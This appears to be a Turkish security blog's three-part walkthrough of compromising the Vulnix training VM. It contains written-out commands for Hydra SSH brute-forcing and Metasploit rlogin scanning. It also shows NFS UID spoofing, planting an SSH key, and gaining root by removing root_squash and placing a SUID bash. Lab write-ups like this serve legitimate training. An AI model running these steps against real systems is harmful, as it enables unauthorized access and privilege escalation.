AG Test: metasploit

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #3

<br /><h3><span style="color: #cc0000;">4. Yetki Yükseltme</span></h3><div class="MsoListParagraph"><div style="text-align: justify;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s320/vulnix.png" width="320" /></a>Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya da diğer tabiri ile root olmak olacaktır. Bunun için öncelikle eldeki hesabın neler yapabildiğinin belirlenmesi gerekmektedir. Bunun için <b><span style="font-family: Courier New, Courier, monospace;">sudo -l</span></b> komutundan faydalanılabilir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR_4vRKOzHy5dSIVQu3rBZaiDGXPardgMTO5Sn1afbn34HPx7QUubXvMTXlDQFIXRDstYE2ZMNlmHxN_cyBu5vizoev6sQAJwLOc91giJ4b2G-Itc9xoqF6kNtfsOtsUKlClZKEgt2sSv0/s1600/2013-08-24_224114.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR_4vRKOzHy5dSIVQu3rBZaiDGXPardgMTO5Sn1afbn34HPx7QUubXvMTXlDQFIXRDstYE2ZMNlmHxN_cyBu5vizoev6sQAJwLOc91giJ4b2G-Itc9xoqF6kNtfsOtsUKlClZKEgt2sSv0/s640/2013-08-24_224114.png" width="640" /></a></div><div style="text-align: justify;">Komut çıktısına dair ekran görüntüsünde de görüldüğü gibi, vulnix kullanıcısının <b>/etc/exports</b> dosyasını root hakları ile parolasız olarak düzenleme hakkı vardır. Dosya içeriğine bakıldığında NFS paylaşımının <b>root_squash</b> opsiyonuyla yapıldığı yani NFS paylaşımına uzak makinadan root hakları ile bağlanılsa dahi paylaşım üzerinde root gibi işlem yapılamayacağı görülmektedir.</div><div style="text-align: justify;">Aşağıdaki komut ile ilgili dosyaya erişerek belirtilen bu opsiyonu etkisiz hale getirmek ve paylaşım üzerinde root haklarıyla işlem yapmak mümkün olmaktadır.</div><h4>vulnix@vulnix:~$ sudoedit /etc/exports</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixYaUrsXtzUWuOub1Ti4mz8I101aZCX4u5FiHLnXBqTh-iTNkDJb7A_3kTLMTPE0C4A-kEhHrz9awFENXuPV8ztI6RSKtgOvi0WJsjIJhsHhnIs5WEtkbUwgTQve6bo77kLOn2BN28oKDE/s1600/2013-08-24_224341.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixYaUrsXtzUWuOub1Ti4mz8I101aZCX4u5FiHLnXBqTh-iTNkDJb7A_3kTLMTPE0C4A-kEhHrz9awFENXuPV8ztI6RSKtgOvi0WJsjIJhsHhnIs5WEtkbUwgTQve6bo77kLOn2BN28oKDE/s1600/2013-08-24_224341.png" /></a></div><div><div style="text-align: justify;">Değiştirilen yapılandırmaların geçerli olması NFS servisi yeniden başlatılmalıdır. Vulnix hesabı sınırlı bir hesap olduğu için öncelikle paylaşım BT5 üzerinden umount edildikten sonra Vulnix sanal makinası yeniden başlatılmalıdır.</div></div><h4>root@agguvenligi:~# umount /mnt/nfs</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmbz7vT5BwXAPWkjB0MuX9vD_JUB37xFtar7UPgoR9GyEK9x22f8gSdb9n0U1Z0yV2wvAgf3UoTY-qnYkrdeum71MAD9Wt5IfifHKtjnAoi7nF9w0cMAxakl6B66WykEs6-g9zBXRnBo0/s1600/2013-08-24_224833.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmbz7vT5BwXAPWkjB0MuX9vD_JUB37xFtar7UPgoR9GyEK9x22f8gSdb9n0U1Z0yV2wvAgf3UoTY-qnYkrdeum71MAD9Wt5IfifHKtjnAoi7nF9w0cMAxakl6B66WykEs6-g9zBXRnBo0/s1600/2013-08-24_224833.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sunucu tekrar başladıktan sonra BT5 üzerinden NFS paylaşımına tekrar erişim sağlanır. Dizin içeriği listelenmeye çalışıldığında eskisinin aksine artık sorunsuz bir şekilde dizin içinde dosyaların listelendiği görülmektedir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9b9fWujpsxVUS9c5QYYVkBgO-HHqFaNmGU3DTRqZk-l00PkSuybrDfbMcTnQmZw6zn1DCOFnX80ybrPlf0EAs5yO39EZnFl9Q8IZQzGfwSDR5M2QQlQ6I_Oj5ja4ZE9G9TjIVsjbq0X_r/s1600/2013-08-24_225146.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9b9fWujpsxVUS9c5QYYVkBgO-HHqFaNmGU3DTRqZk-l00PkSuybrDfbMcTnQmZw6zn1DCOFnX80ybrPlf0EAs5yO39EZnFl9Q8IZQzGfwSDR5M2QQlQ6I_Oj5ja4ZE9G9TjIVsjbq0X_r/s1600/2013-08-24_225146.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sistem üzerinden shell almak için BT5 üzerinden bash çalıştırılabilir dosyası hakları 4777 olacak şekilde hedefe kopyalanır. Burada dosyaya herkes tarafında yazma-okuma-çalıştırma hakları verilmiş olup ayrıca çalıştırana dosya sahibinin haklarıyla işlem yapmasını sağlayacak şekilde (örneğimizde root) SUID biti etkin duruma getirilmiştir. Bunun için aşağıdaki komutlar kullanılabilir.</div><h4>root@agguvenligi:/mnt/nfs# cp /bin/bash .<br />root@agguvenligi:/mnt/nfs# chmod 4777 bash </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6eUyE1wohqSGvqxjf5y7aAodYlPcVHLDDrFqvdOPaRV3pZsKtrjFffF3z9mBvNe08r6lMELROdVHsq_6znJXxfw3S4iyCRMJXkFQLt3rvLSoBEmYMwsgNa8ow9ZNBotAbg0CLSbNh9w5c/s1600/2013-08-24_225358.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6eUyE1wohqSGvqxjf5y7aAodYlPcVHLDDrFqvdOPaRV3pZsKtrjFffF3z9mBvNe08r6lMELROdVHsq_6znJXxfw3S4iyCRMJXkFQLt3rvLSoBEmYMwsgNa8ow9ZNBotAbg0CLSbNh9w5c/s1600/2013-08-24_225358.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Son adımda daha öncede yapıldığı gibi vulnix kullanıcısı ile hedef sisteme SSH bağlantısı kurulmalıdır. Sonrasında hedefe kopyalamış olduğumuz bash kabuğu çalıştırılarak root kullanıcısının ev dizininde yer alan bayrak dosyası trophy.txt ve içeriğine erişim sağlanabildiği görülebilir.</div><blockquote class="tr_bq"><div style="text-align: justify;"><span style="color: #a64d79;">Vulnix makinesi 32bit işletim sistemine sahip olduğu için üzerine kopyalanan bash dosyası da 32bit olmalıdır. Aksi halde -bash: ./bash: cannot execute binary file şeklinde bir hata ile karşılaşılacaktır.</span></div></blockquote><h4>root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh/id_rsa vulnix@192.168.1.101<br />vulnix@vulnix:~$ ./bash -p<br />bash-4.2# id<br />bash-4.2# cat /root/trophy.txt </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty0sFDBSkjNgGsdnQl0gaPZxuq0jQiZE7yqa9NBy7WAGX9lNHdjMIuGYsjOv-wTeJiUMa7WDYJ00Wqi8y8cOSygXacrTVPllkMW5G4sQGtXgwsFFs2jZ2f3NQngJj1O6vZDWummmO9JIc/s1600/2013-08-24_230832.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="547" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty0sFDBSkjNgGsdnQl0gaPZxuq0jQiZE7yqa9NBy7WAGX9lNHdjMIuGYsjOv-wTeJiUMa7WDYJ00Wqi8y8cOSygXacrTVPllkMW5G4sQGtXgwsFFs2jZ2f3NQngJj1O6vZDWummmO9JIc/s640/2013-08-24_230832.png" width="640" /></a></div></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #3

4. Yetki Yükseltme Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya d...

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #2

<br /><h3><span style="color: #cc0000;">3. Sızma Denemesi</span></h3><h3>a. SSH</h3><div style="text-align: justify;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s320/vulnix.png" width="320" /></a>İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldırılarda kullanılabilecek örnek bir sözlük <b><i>/pentest/passwords/wordlists</i></b> dizini altında bulunmaktadır. Bunun yerine kendi oluşturduğunuz bir sözlüğü kullanmanız da mümkündür.<br /><br /></div><div style="text-align: justify;"><b>Hydra </b>aracı bu tür saldırılar için kullanılabilecek performanslı bir araçtır. Aşağıdaki şekilde Vulnix üzerinde uygulanabilir.</div><h4>root@agguvenligi:~# cd /pentest/passwords/wordlists/<br />root@agguvenligi:/pentest/passwords/wordlists# hydra -L darkc0de.lst -P darkc0de.lst -S 192.168.1.101 ssh</h4>Komut çalıştırıldıktan sonra bulunan kullanıcı adı ve parola bilgisi aşağıdaki gibi gözükmektedir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5fdMwckUAVQoA-thn0LF7A-DLNp9WN7wlXTqNtEMCHhrC_BFsoKYNFEP8ZAvEHNb-aMo0AxIbPSoVNpyNcAbO4-mgVYM9AsOTCtT0zTrQ-GLlLEW2HNBzp0c5PpYlMhSv-ETgwNbmdg6/s1600/2013-08-24_210224.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5fdMwckUAVQoA-thn0LF7A-DLNp9WN7wlXTqNtEMCHhrC_BFsoKYNFEP8ZAvEHNb-aMo0AxIbPSoVNpyNcAbO4-mgVYM9AsOTCtT0zTrQ-GLlLEW2HNBzp0c5PpYlMhSv-ETgwNbmdg6/s1600/2013-08-24_210224.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><h3>b. RLOGIN</h3><div style="text-align: justify;">Vulnix üzerinde açık olduğunu belirlenen bir diğer serviste Rlogin servisidir. Bu servis doğru kullanıcı adının bilinmesi halinde parolasız olarak sisteme erişim yetkisi veren tehlikeli olabilecek bir servistir. Bir önceki adımda elde edilen SSH bilgileri ile sisteme erişildiğinde <b>user </b>kullanıcısının sisteme Rlogin ile erişme hakkının olduğu görülebilir.</div><div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWWRQbB8Ilw6mMobOtV4JDrBn3oxThTlIhLlgkbYeJnTQoWEH2TvO0ghxBNR18LyEhLVuddIAAs39ey_LWymZ5cwWzjJoNzsFpEYQ-nQxQiNY0NfeUFOuUZy-DxiqDsw5XN2ntaOR3D63/s1600/2013-08-24_210801.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWWRQbB8Ilw6mMobOtV4JDrBn3oxThTlIhLlgkbYeJnTQoWEH2TvO0ghxBNR18LyEhLVuddIAAs39ey_LWymZ5cwWzjJoNzsFpEYQ-nQxQiNY0NfeUFOuUZy-DxiqDsw5XN2ntaOR3D63/s400/2013-08-24_210801.png" width="400" /></a></div>Bu servise yönelik sözlük saldırısı için Metasploit içerisindeki mevcut modüllerden biri olan <b><i>auxiliary/scanner/rservices/rlogin_login</i></b> modülü de kullanılabilir. Kullanımı şu şekildedir:</div><div style="text-align: justify;"><h4 style="text-align: start;">msf > use auxiliary/scanner/rservices/rlogin_login<br />msf auxiliary(rlogin_login) > set RHOSTS 192.168.1.101<br />msf auxiliary(rlogin_login) > run</h4>Metasploit modülü ile de bulunan user kullanıcısının Vulnix sisteme rlogin yapabilmesi için PuTTY üzerinde aşağıdaki adımlar takip edilebilir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBuNtLMUxq0bBvODuKNSFa7BJmZBLMpv_mmYH-BTOfd4mKJATm2n28O9yjdN3KXeEpFeFKXnvUNz4Og66fH6XtUJ-AMDU6QbMzWLSbSSnrFkREvfnYWIZKerMDo0yG_KagJtHcdozhwdbR/s1600/2013-08-24_211252.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBuNtLMUxq0bBvODuKNSFa7BJmZBLMpv_mmYH-BTOfd4mKJATm2n28O9yjdN3KXeEpFeFKXnvUNz4Og66fH6XtUJ-AMDU6QbMzWLSbSSnrFkREvfnYWIZKerMDo0yG_KagJtHcdozhwdbR/s320/2013-08-24_211252.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge93_O3l4QGSsK_MNlkbJPVd7PjPCu5P-BrsbNpEcvzvG4ncgumwz7l8pwWZ5wHP4wRQqE5Zyn229kdy375m-u2tGzVGXg7pCmXECjYdB8Hf4VlksMYQYPro8Z6wWlHN-RkI7qrgdNvTLW/s1600/2013-08-24_211448.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge93_O3l4QGSsK_MNlkbJPVd7PjPCu5P-BrsbNpEcvzvG4ncgumwz7l8pwWZ5wHP4wRQqE5Zyn229kdy375m-u2tGzVGXg7pCmXECjYdB8Hf4VlksMYQYPro8Z6wWlHN-RkI7qrgdNvTLW/s320/2013-08-24_211448.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvA_b_ez-b0Q2cm08xBmEcUs2MxfRyxWXCszVrRQL2jVZpP8sFCAGBqS1v5QBhTgkQDY2X-Jde3puJhLBl9CGSewcjONI5E6tC1JtHp9MjG6D-tVBXFX778fuXp5u_P8O_mAlI8n4HxqKj/s1600/2013-08-24_211520.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvA_b_ez-b0Q2cm08xBmEcUs2MxfRyxWXCszVrRQL2jVZpP8sFCAGBqS1v5QBhTgkQDY2X-Jde3puJhLBl9CGSewcjONI5E6tC1JtHp9MjG6D-tVBXFX778fuXp5u_P8O_mAlI8n4HxqKj/s320/2013-08-24_211520.png" width="320" /></a></div></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><h3>c. NFS</h3><div class="MsoListParagraph" style="text-align: justify;">Son giriş kapısı olarak NFS (Ağ Dosya Paylaşımı) servisini inceleyeceğiz. İlk olarak Kali üzerinden hedef sistemin paylaşımda neler sunduğu sorgulanabilir. Bunun için aşağıdaki komut kullanılabilir.<o:p></o:p></div><h4>root@agguvenligi:~# showmount -e 192.168.1.101</h4><div class="separator" style="clear: both; text-align: center;"></div><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKJsxcDjs3rsJBrh1K-yLjfErqPYZLbU59LSY4O__xmCgwC5dDgBAtnQTjo4jNNL7Ktls57RFd0bGOcAeeGO55s2PQGEAUEzWwyiSj3LIc5sGwfbYJ6pcHxVKarM9vUV2wBr9QFU0zQjq/s1600/2013-08-24_211750.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKJsxcDjs3rsJBrh1K-yLjfErqPYZLbU59LSY4O__xmCgwC5dDgBAtnQTjo4jNNL7Ktls57RFd0bGOcAeeGO55s2PQGEAUEzWwyiSj3LIc5sGwfbYJ6pcHxVKarM9vUV2wBr9QFU0zQjq/s1600/2013-08-24_211750.png" /></a></div>Bu çıktı, vulnix kullanıcısının ev dizininin paylaşıma açık olduğu anlamına gelmektedir. Paylaşıma açık bu dizini Kali üzerine bağlamak için aşağıdaki komut kullanılabilir.</div><h4>root@agguvenligi:~# mkdir /mnt/nfs<br />root@agguvenligi:~# mount 192.168.1.101:/home/vulnix /mnt/nfs</h4><div class="MsoListParagraph" style="text-align: justify;">Sonraki adımda bu dizine erişilmek istenildiğinde <b><i>"Permission Denied"</i></b> hatası alınacaktır. Bu hata paylaşılan dizini sunan kullanıcı ile aynı UID değerine sahip kullanıcının BT5 üzerinde bulunmamasından kaynaklanmaktadır.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig_kyYThyMpMPlm-Bbe1il97mQGyLc7Fa-kcIAnCFlRB3NITac9Mr99W234tvlm-SXZwHn2MT1pjtG9TOCdmrccA0wxCKpyxrnKeVfAo_fMs6sSzWo13hgOgZtAbhzixcg9LGo5eOIp9Ie/s1600/2013-08-24_222137.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig_kyYThyMpMPlm-Bbe1il97mQGyLc7Fa-kcIAnCFlRB3NITac9Mr99W234tvlm-SXZwHn2MT1pjtG9TOCdmrccA0wxCKpyxrnKeVfAo_fMs6sSzWo13hgOgZtAbhzixcg9LGo5eOIp9Ie/s1600/2013-08-24_222137.png" /></a></div>Bu hatayı aşmak için görülen UID değerinde <b>(2008)</b> BT5 üzerinde yeni bir kullanıcı oluşturulmalıdır.</div><h4>root@agguvenligi:~# useradd agguvenligi -u 2008<br />root@agguvenligi:~# su - agguvenligi</h4><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHCVlTD0azwxV5OYtOe15d2AgWh36gkGcMSRSN-P6FgotR0HF__fCz3FI19dEJVIuJUakStVhLtOXx9p-fFHyIqQ3gn-USitYuUipy6HS7jjnFydysk6STcMrOsdYZKY48UwHhm0863TD/s1600/2013-08-24_222515.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHCVlTD0azwxV5OYtOe15d2AgWh36gkGcMSRSN-P6FgotR0HF__fCz3FI19dEJVIuJUakStVhLtOXx9p-fFHyIqQ3gn-USitYuUipy6HS7jjnFydysk6STcMrOsdYZKY48UwHhm0863TD/s1600/2013-08-24_222515.png" /></a></div>Bu aşamadan sonra ilgili klasöre erişilebildiği görülebilecektir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAPsTj-cNxjql3gLHd3x21QFjA62w-TtuWGjRu35sUnJoUp_6TMyZpLN1IJ6p7zkEBIgf5bLqdPuWUK5I56tiKykVjLGEGlx4xRrt5RZzmiXOJ3cPgYJTndGX8cf6auOdL_iTsUWcODmGe/s1600/2013-08-24_222645.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAPsTj-cNxjql3gLHd3x21QFjA62w-TtuWGjRu35sUnJoUp_6TMyZpLN1IJ6p7zkEBIgf5bLqdPuWUK5I56tiKykVjLGEGlx4xRrt5RZzmiXOJ3cPgYJTndGX8cf6auOdL_iTsUWcODmGe/s1600/2013-08-24_222645.png" /></a></div>Bağlanan dizin Vulnix kullanıcısının ev dizini olduğu için altında <b>.ssh</b> dizini oluşturarak BT5 üzerinde oluşturulacak public/private anahtar çiftinin bu dizine kopyalanması ile sonrasında parolasız olarak sisteme erişim sağlanabilir.</div><div class="MsoListParagraph" style="text-align: justify;">Bunun için öncelikle BT5 üzerinde anahtar çiftinin oluşturulması gerekir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr56zFHNOi4mvXERo-VIaID4IzcNtrXmWFejG_t2KTWg4tfC6PlTz3GHbMlEuTErmWrsXoM_ioRaO244txu0l6rnYUWIbm8py7JY7tk0I2vikJi3Do86qiz7V1X3duHaR_6WRuYdyeEvhX/s1600/2013-08-24_223119.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr56zFHNOi4mvXERo-VIaID4IzcNtrXmWFejG_t2KTWg4tfC6PlTz3GHbMlEuTErmWrsXoM_ioRaO244txu0l6rnYUWIbm8py7JY7tk0I2vikJi3Do86qiz7V1X3duHaR_6WRuYdyeEvhX/s1600/2013-08-24_223119.png" /></a></div>Aşağıdaki komut ile birlikte oluşturulan anahtar Vulnix makinesinin içerisine kopyalanır.</div><h4>agguvenligi@agguvenligi:/$ cat .ssh/id_rsa.pub > /mnt/nfs/.ssh/authorized_keys</h4><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7QdpUZNasoXZ-Wed9R9OmB38_uIogCmFq9Rl4ojuB6GvqMtuG56t3eWqRJqbpcVSl_dZz0D8oKrYUetQlHyETC6TxNj6V8C2ZtUbhNcdYjCw2e2OL-Z82YWGmU6YvAhwedsPQJhGNbo0/s1600/2013-08-24_223326.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="52" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7QdpUZNasoXZ-Wed9R9OmB38_uIogCmFq9Rl4ojuB6GvqMtuG56t3eWqRJqbpcVSl_dZz0D8oKrYUetQlHyETC6TxNj6V8C2ZtUbhNcdYjCw2e2OL-Z82YWGmU6YvAhwedsPQJhGNbo0/s640/2013-08-24_223326.png" width="640" /></a></div>Anahtar kopyalandıktan sonra aşağıdaki gibi bir komutla sisteme anahtar dosyası ile parola bilmeksizin bağlanılabilir.</div><h4>root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh//id_rsa vulnix@192.168.1.101</h4><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvTSqNJd0VYNWyyCUiq9yU-maNs1z2r2Fkn2YBVDNecjxyb3Stc1P24h7EBb4RXlkMX9RNZPkxTTs3NeVUDoLlzeoAx1h3u80YQw1b5ijYc_g-G1otw7cOFYHjpHwiwvpznmDHWvZ4RADc/s1600/2013-08-24_223720.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvTSqNJd0VYNWyyCUiq9yU-maNs1z2r2Fkn2YBVDNecjxyb3Stc1P24h7EBb4RXlkMX9RNZPkxTTs3NeVUDoLlzeoAx1h3u80YQw1b5ijYc_g-G1otw7cOFYHjpHwiwvpznmDHWvZ4RADc/s1600/2013-08-24_223720.png" /></a></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #2

3. Sızma Denemesi a. SSH İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldır...

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #1

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZQbCHLejER9rbSQoK2kiIWz8sWKl2Bl_FL0cBCpIP_TE5yd77ypa3dkhiXlDvNy6VdgJcBgtEZyZlGyZybfwY3YLz5DsF_DqWpRZLhyCKvabQeLlVS2RW2qwNKTPPO5dkIPa5EH3u8C2D/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZQbCHLejER9rbSQoK2kiIWz8sWKl2Bl_FL0cBCpIP_TE5yd77ypa3dkhiXlDvNy6VdgJcBgtEZyZlGyZybfwY3YLz5DsF_DqWpRZLhyCKvabQeLlVS2RW2qwNKTPPO5dkIPa5EH3u8C2D/s320/vulnix.png" width="320" /></a></div><div style="text-align: justify;">Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Burada amaçlanan zafiyetlerin tespiti ve bunların kullanılması ile birlikte muhtemel false-positive'lerin ayıklanması ve önem seviyesi çok daha yüksek hedeflere yetkili erişimin sağlanması, dolayısıyla kötü niyetli saldırganların yapabileceklerinin bir benzetiminin ortaya konulmasıdır.</div><div style="text-align: justify;">Bu blog notunda, kurumsal ortamlarda her ne kadar Windows sistemlere nazaran çok daha sınırlı kullanım alanına sahip olsa da veritabanı, middleware vb. için sıklıkla tercih edilen Linux sistemler üzerinde örnek bir sızma testinin nasıl gerçekleştirilebileceğine değinilecektir.</div><div style="text-align: justify;">Linux sistemleri için sızma sürecinde ilk hedef, sisteme bir şekilde giriş hakkı elde etmektir. Bu işlem tamamlandıktan sonra mevcut kullanıcının haklarının arttırılması amaçlanır. Örneğin çekirdek (kernel) sürümünün incelenerek hak yükseltmeye imkan tanıyan zafiyetlerinin belirlenmesi ve varsa kullanılarak root haklarına erişilmesi en klasik yollardan biridir.</div><div style="text-align: justify;">Burada üzerinde çalışılacak <b>Vulnix </b>dağıtımı 10/09/12 tarihinde yayınlanmış olup üzerinde belirli açıklıkları barındıran eğitim amaçlı bir Ubuntu dağıtımıdır. Genel özellikleri aşağıdaki gibi olup imaj <a href="http://www.rebootuser.com/wp-content/uploads/vulnix/Vulnix.7z" target="_blank">bağlantıdan </a>temin edilebilir. CTF uygulaması olarak düşünülebilecek bu imajda asıl amaç <b><i>/root</i></b> dizini altında bulunan trophy dosyasının içeriğine erişmektedir.</div><blockquote class="tr_bq"><span style="color: #a64d79;">Mimari: x86<br />Biçim: VMware (vmx & vmdk)<br />RAM: 512MB<br />Network: NAT<br />Boyutu: 194MB – 7zip<br />Çıkarılmış hali: 820MB</span></blockquote><div style="text-align: justify;">Sızma testi boyunca Backtrack5r3 Linux dağıtımı ve üzerindeki araçlar kullanılacaktır. BT5 imajına <a href="http://www.backtrack-linux.org/downloads/" target="_blank">bağlantıdan </a>erişebilirsiniz.</div><div style="text-align: justify;">Vulnix imajı temin edilip sıkıştırılmış halinden çıkarıldıktan sonra VMWare Workstation üzerinde <b><i>File>Open</i></b> sonrası çıkan menüde <b>Vulnix.vmx</b> dosyasının yolu belirtilerek çalıştırılır. Veya bu dosyayı doğrudan çift tıklayarak ta açabilirsiniz.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Wb7X65MWVsXUEP7yewA8oTRPtBqqy5_M85wcvGZGb9RzxCqTzzf8eJy52GdYxHXaFT2NhZ9X9648uS8Cpcv87A7hy48I7FTsJ3hLK4Ln3x-1PJfRiRVBgvAWv7EeSEDl_FrOdifs4775/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" 